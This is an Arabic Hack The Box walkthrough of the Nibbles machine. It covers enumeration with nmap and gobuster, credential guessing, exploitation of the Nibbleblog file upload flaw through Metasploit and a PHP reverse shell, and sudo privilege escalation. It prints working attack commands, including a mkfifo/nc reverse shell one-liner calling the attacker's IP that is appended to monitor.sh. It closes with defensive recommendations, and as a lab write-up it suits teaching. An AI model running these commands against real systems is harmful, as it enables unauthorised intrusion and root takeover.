دليل تقني لتحليل آلة Nibbles من Hack The Box: الاستطلاع واستكشاف الثغرات ورفع الصلاحيات
مقدمة حول تحدي Hack The Box وآلة Nibbles
تُعد منصة Hack The Box واحدة من أشهر البيئات التدريبية المتخصصة في اختبار الاختراق وتقييم المهارات الأمنية عملياً. توفر المنصة مجموعة متنوعة من التحديات التي تحاكي أحياناً بيئات واقعية، وأحياناً أخرى تميل إلى أسلوب CTF التعليمي. في هذا المقال سنحلل آلة Nibbles، وهي آلة سهلة نسبياً، لكنّها مفيدة جداً لفهم أساسيات الاستطلاع، وتعداد تطبيقات الويب، واستغلال كلمات المرور الضعيفة، ثم الانتقال إلى رفع الصلاحيات داخل النظام.
هذا النوع من الشروحات مناسب لأغراض تعليمية في بيئات مصرح بها فقط، مع الالتزام بسياسات المنصات التدريبية وعدم تطبيق أي خطوة على أنظمة لا تملك إذناً صريحاً لاختبارها.


سنستخدم خلال هذا الشرح عدة أدوات شائعة في الاختبارات الأمنية، أبرزها:
nmapلمسح المنافذ والخدمات.gobusterلاكتشاف المسارات والملفات المخفية.Metasploitلاستغلال الثغرة المعروفة فيNibbleblog.PHP reverse shellللحصول على جلسة عكسية يدوياً.netcatأوncلالتقاط الاتصال العكسي.
الخطوة الأولى: الاستطلاع وجمع المعلومات
مرحلة الاستطلاع هي الأساس في أي اختبار اختراق ناجح. كلما جمعت معلومات أكثر في البداية، زادت فرصك في تحديد سطح الهجوم بدقة، وتجنب المحاولات العشوائية. لذلك من الأفضل استثمار الوقت في المسح والتعداد قبل التفكير في الاستغلال.
فحص المنافذ باستخدام Nmap
أداة Nmap من أهم الأدوات في اكتشاف الخدمات المفتوحة على الهدف، وتحديد الإصدارات، وأحياناً نوع نظام التشغيل والخدمات الإضافية.
nmap -A -v 10.129.151.27

شرح أهم الخيارات:
-A: تفعيل اكتشاف نظام التشغيل، وتحديد الإصدارات، وتشغيل بعض السكربتات، وإظهار المسار.-v: زيادة مستوى التفاصيل في المخرجات.10.129.151.27: عنوانIPالخاص بالآلة المستهدفة.
إذا أردت مخرجات أبسط، يمكن استخدام فحص مختصر:
nmap 10.129.151.27

النتيجة الأهم هنا هي وجود منفذين مفتوحين:
- المنفذ
22: خدمةSSHللوصول الآمن وإدارة الملفات والجلسات. - المنفذ
80: خدمةHTTP، ويبدو أنها تعمل عبر خادمApache httpd 2.4.18.
وجود خدمة ويب مفتوحة يجعل البدء بتحليل الموقع خياراً منطقياً، خاصة في الآلات التعليمية التي تركّز على استكشاف تطبيقات الويب.
الخطوة الثانية: تحليل تطبيق الويب واكتشاف المسارات
زيارة الصفحة الرئيسية
عند فتح الموقع على المنفذ 80 تظهر صفحة بسيطة تحتوي على عبارة Hello World. في مثل هذه الحالات لا يكفي النظر إلى الواجهة الظاهرة فقط، بل يجب فحص الشيفرة المصدرية للصفحة أيضاً.

في الشيفرة المصدرية نجد تعليقاً مهماً:
<!-- /nibbleblog/ directory. Nothing interesting here! -->

هذا النوع من التعليقات قد يكشف مسارات داخلية مهمة، لذا بالانتقال إلى المسار /nibbleblog/ نصل إلى صفحة مدونة تحمل اسم Nibbles Yum Yum.

في أسفل الصفحة يظهر أن الموقع يعمل بواسطة Nibbleblog، وهو نظام تدوين مبني بلغة PHP. معرفة اسم التطبيق وإصداره خطوة محورية، لأنها تربطنا مباشرة باحتمال وجود ثغرات معروفة.

استخدام Gobuster لاكتشاف الملفات والمجلدات
بعد معرفة أن التطبيق قائم على Nibbleblog، تصبح عملية تعداد المسارات ضرورية. هنا نستخدم أداة Gobuster، وهي أداة سريعة لاكتشاف الأدلة والملفات اعتماداً على قوائم كلمات.

الأمر المستخدم:
gobuster dir -u 10.129.151.27 -w /usr/share/wfuzz/wordlist/general/common.txt -x php,txt
هذا الأمر يعني:
dir: تفعيل نمط البحث عن الأدلة والمسارات.-u: تحديد الرابط الهدف.-w: اختيار قائمة الكلمات.-x php,txt: البحث أيضاً عن الملفات ذات الامتدادين.phpو.txt.
أسفر الفحص عن عدة نتائج مهمة، من بينها:
/content//install.php/update.php/admin//admin.php/users.xml
قراءة الملفات الحساسة
بعض هذه المسارات يحتوي على معلومات مفيدة جداً في بيئات الاختبار الضعيفة. على سبيل المثال، عند فتح /install.php ثم التفاعل مع خيارات التحديث نصل إلى صفحة /update.php.


من الروابط المكتشفة، يظهر ملف إعدادات خاص:
10.129.151.27/nibbleblog/content/private/config.xml

داخل ملف XML نجد البريد الإلكتروني التالي:
admin@nibbles.com
ورغم أن البريد لا يمنح وصولاً مباشراً، فإنه قد يساعد في تخمين اسم المستخدم أو نمط كلمة المرور.
الوصول إلى صفحة تسجيل الدخول
عند زيارة /admin/ ثم /admin.php نجد أخيراً صفحة تسجيل الدخول الخاصة بالمدونة.


تمت تجربة بيانات اختبارية لفهم سلوك النموذج:
username=test&password=test

بعد ذلك، يبرز ملف /users.xml كأحد أهم الاكتشافات. من خلاله نلاحظ وجود اسم المستخدم admin، بالإضافة إلى مؤشرات على آلية حظر أو قائمة سوداء تسجل محاولات الفشل وعنوان IP الخاص بالمهاجم. هذا يعني أن هجوم التخمين الكثيف أو Brute Force لن يكون عملياً هنا، لذا يصبح التخمين الذكي أكثر منطقية.

الخطوة الثالثة: استغلال ثغرة Nibbleblog
من صفحة /update.php يمكن ملاحظة إصدار التطبيق:
Nibbleblog 4.0.3 "Coffee"
الخطوة التالية الطبيعية هي البحث عن ثغرات معروفة لهذا الإصدار. بالبحث تظهر ثغرة منشورة في Exploit Database مرتبطة برفع ملفات يؤدي إلى تنفيذ أوامر عن بُعد.

رابط الثغرة المشار إليه:
https://www.exploit-db.com/exploits/38489
الاستغلال باستخدام Metasploit
يوفر Metasploit وحدة جاهزة لهذه الثغرة، ما يجعل الاستغلال أسرع وأسهل في البيئة التعليمية. بعد تشغيل الإطار، يفضل تحديثه أولاً:
msfupdate
ثم البحث عن الوحدة المناسبة:
search nibbleblog

يمكن عرض تفاصيل الوحدة عبر:
info 0

وتتضمن التفاصيل المتطلبات الأساسية، وأهمها وجود بيانات دخول صحيحة.

كما تظهر مراجع أمنية مهمة مثل:
CVE-2015-6967- مدونة بحثية تشرح الاستغلال اليدوي.


اختيار الوحدة:
use 0
بعدها تظهر الوحدة بالشكل التالي:
exploit(multi/http/nibbleblog_file_upload)

ثم ضبط الإعدادات:
set USERNAME admin
set PASSWORD nibbles
set RHOSTS 10.129.151.27
set LHOST 10.10.14.110
set TARGETURI /nibbleblog/
تم الوصول إلى بيانات الدخول admin:nibbles عبر ملاحظة اسم المستخدم من /users.xml وتخمين كلمة مرور بسيطة مرتبطة باسم المنصة والبريد المكتشف.
بعد ضبط الخيارات، يمكن التحقق من قابلية الاستغلال عبر الأمر:
check

ثم مراجعة الإعدادات وتشغيل الاستغلال:
run


عند النجاح نحصل على جلسة Meterpreter، وهي حمولة متقدمة تسمح بالتفاعل المرن مع النظام الهدف بعد الاختراق.
الاستغلال اليدوي بدون Metasploit
إذا أردت فهماً أعمق للثغرة، فالتنفيذ اليدوي مفيد جداً. بعد تجربة بيانات الدخول admin:nibbles على صفحة /admin.php يتضح أنها صحيحة.


من تبويب Plugins ثم My image يمكن رفع ملف PHP على هيئة صورة، وهي نقطة الضعف التي تسمح بتنفيذ شيفرة عكسية.


تم استخدام شيفرة PHP reverse shell المعروفة، مع تعديل المتغير $IP ليتوافق مع عنوان جهاز المستلم:
nano image.php
$IP = '10.10.14.110';


بعد رفع الملف إلى الإضافة، يتم تجهيز مستمع على الجهاز المحلي:
nc -nlvp 1234
ثم زيارة الملف المرفوع لتفعيل الاتصال العكسي:
10.129.151.27/nibbleblog/content/private/plugins/my_images/image.php


بهذه الطريقة نحصل على وصول أولي إلى النظام دون الحاجة إلى إطار استغلال كامل.
الخطوة الرابعة: الوصول إلى ملف user.txt
بعد الحصول على جلسة على النظام، تبدأ مرحلة الاستكشاف الداخلي. من المهم معرفة المجلد الحالي والتنقل بين الأدلة حتى الوصول إلى مجلدات المستخدمين.


بعد الوصول إلى المجلد المناسب، يمكن قراءة العلم الأول باستخدام:
cat user.txt
الخطوة الخامسة: رفع الصلاحيات والوصول إلى root.txt
الوصول الأولي إلى النظام ليس نهاية المهمة. الجزء الأهم غالباً هو اكتشاف كيف يمكن الانتقال من مستخدم محدود الصلاحيات إلى المستخدم root.
عند محاولة دخول مجلد /root مباشرة يتبين أنه غير مسموح.

لتحسين الجلسة الحالية يمكن طلب صدفة تفاعلية:
shell
ثم إنشاء TTY حقيقي باستخدام python3:
python3 -c "import pty; pty.spawn('/bin/bash/');"

بعد ذلك نراجع أوامر sudo المسموح بها للمستخدم الحالي:
sudo -l

تظهر النتيجة أن المستخدم Nibbler يستطيع تنفيذ الملف /home/nibbler/personal/stuff/monitor.sh بصلاحيات root من دون كلمة مرور. هذه فرصة مباشرة لرفع الصلاحيات إذا أمكن تعديل الملف أو محتواه.
اكتشاف الملف وتعديل محتواه
بالعودة إلى مجلد /home/nibbler/ يظهر ملف مضغوط باسم personal.zip. بعد فك الضغط:
unzip personal.zip

يمكن قراءة محتوى الملف المطلوب:
cat monitor.sh

تمت إضافة أمر reverse shell إلى نهاية الملف:
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.110 1234 > /tmp/f" >> monitor.sh

بعدها تتم مراجعة الملف للتأكد من نجاح الإضافة:

على الجهاز المحلي، يُشغَّل مستمع جديد لالتقاط الاتصال:

ثم يُنفذ السكربت المسموح عبر sudo:
sudo /home/nibbler/personal/stuff/monitor.sh

بمجرد نجاح الاتصال، تصبح الجلسة بصلاحيات root. يمكن عندها دخول المجلد الجذر وقراءة العلم النهائي:
cat root.txt

الدروس الأمنية المستفادة من آلة Nibbles
هذه الآلة تُظهر بوضوح كيف يمكن لسلسلة من الأخطاء الصغيرة أن تؤدي إلى اختراق كامل للنظام. من أبرز الدروس:
- الاعتماد على كلمات مرور بسيطة مثل
admin:nibblesيسهّل الوصول غير المصرح به. - كشف الملفات الحساسة مثل
config.xmlوusers.xmlيسرّع مرحلة التعداد بشكل كبير. - وجود إصدار قديم من
Nibbleblogيحتوي على ثغرة معروفة يجعل الاستغلال شبه مباشر. - السماح بتنفيذ سكربت عبر
sudoمن دون كلمة مرور، مع إمكانية تعديله، يُعد خطراً بالغاً على مستوى النظام.
توصيات الحماية والمعالجة
- استخدام كلمات مرور قوية وفريدة وتجنب أي بيانات افتراضية أو سهلة التخمين.
- تحديث أنظمة إدارة المحتوى والإضافات باستمرار، وخاصة الإصدارات التي تتوفر لها
CVEمعلنة. - تقييد الوصول إلى الملفات الداخلية وعدم كشف ملفات الإعدادات أو المستخدمين عبر الويب.
- تطبيق مبدأ أقل الصلاحيات
Principle of Least Privilegeعلى المستخدمين والخدمات والأوامر المسموح بها عبرsudo. - مراجعة صلاحيات الملفات القابلة للتنفيذ والتأكد من عدم إمكانية تعديلها من مستخدمين غير موثوقين.

الخلاصة التقنية
تحليل آلة Nibbles يوضح أن النجاح في اختبار الاختراق لا يعتمد دائماً على تعقيد الثغرة، بل على جودة الاستطلاع وربط المؤشرات الصغيرة ببعضها. بدأ المسار من تعليق بسيط في مصدر الصفحة، ثم انتقل إلى تعداد ذكي للملفات، فاستغلال إصدار ضعيف، وأخيراً رفع صلاحيات مبني على سوء إعداد sudo. من الناحية التقنية، هذه الآلة نموذج ممتاز لفهم كيفية بناء سلسلة هجوم متكاملة انطلاقاً من أخطاء شائعة يمكن منعها بإجراءات أمنية أساسية لكنها حاسمة.